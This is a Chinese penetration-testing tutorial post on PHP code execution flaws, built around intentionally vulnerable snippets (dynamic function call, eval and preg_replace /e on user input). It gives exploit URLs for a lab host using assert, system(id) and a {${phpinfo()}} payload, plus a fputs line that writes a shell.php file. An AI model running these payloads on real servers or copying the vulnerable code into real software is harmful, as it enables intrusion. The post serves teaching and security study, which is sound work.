1. 首页
  2. 渗透测试

[原创]WEB安全五章 漏洞学习与利用07 代码执行漏洞与利用

WEB安全五章 漏洞学习与利用 代码执行漏洞与利用

当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。
PHP eval()、assert()、preg_replace()
python exec()
Java 没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL等

1.动态代码执行

<?php
function m_print(){
	echo '这是一个页面';
}
$_GET['a']($_GET['b']);
?>

查看php信息
assert 可以执行php里面的一些函数比如phpinfo()
http://www.webtester.com/code/code01.php?a=assert&b=phpinfo()

[原创]WEB安全五章 漏洞学习与利用07 代码执行漏洞与利用

http://www.webtester.com/code/code01.php?a=assert&b=system(id)

[原创]WEB安全五章 漏洞学习与利用07 代码执行漏洞与利用

http://www.webtester.com/code/code01.php?a=assert&b=var_dump(1)

2.eval代码执行

<?php  
$data = isset($_GET['data'])?$_GET['data']:'这是一个eval漏洞页面';  
@eval($ret = $data);  
echo $ret;
?>


eval可以执行php代码
http://www.webtester.com/code/code02.php?data=phpinfo();
http://www.webtester.com/code/code02.php?data=system(id);

fputs(fopen("shell.php","a"),"<?php phpinfo();?>");

写shell

http://www.webtester.com/code/code03.php?data=<data>{${phpinfo()}}</data>

[原创]WEB安全五章 漏洞学习与利用07 代码执行漏洞与利用
3

3.正则代码执行

<?php  
$data = $_GET['data'];  
preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);  
?>

<form>

<label>请输入你的数据</label>

<input type=’text’ name=’data’/>

<input type=’submit’ value=’提交’/>

</form>

<data>{${phpinfo()}}</data>

http://www.webtester.com/code/code03.php?data=<data>{${phpinfo()}}</data>

[原创]WEB安全五章 漏洞学习与利用07 代码执行漏洞与利用

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/archives/268

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息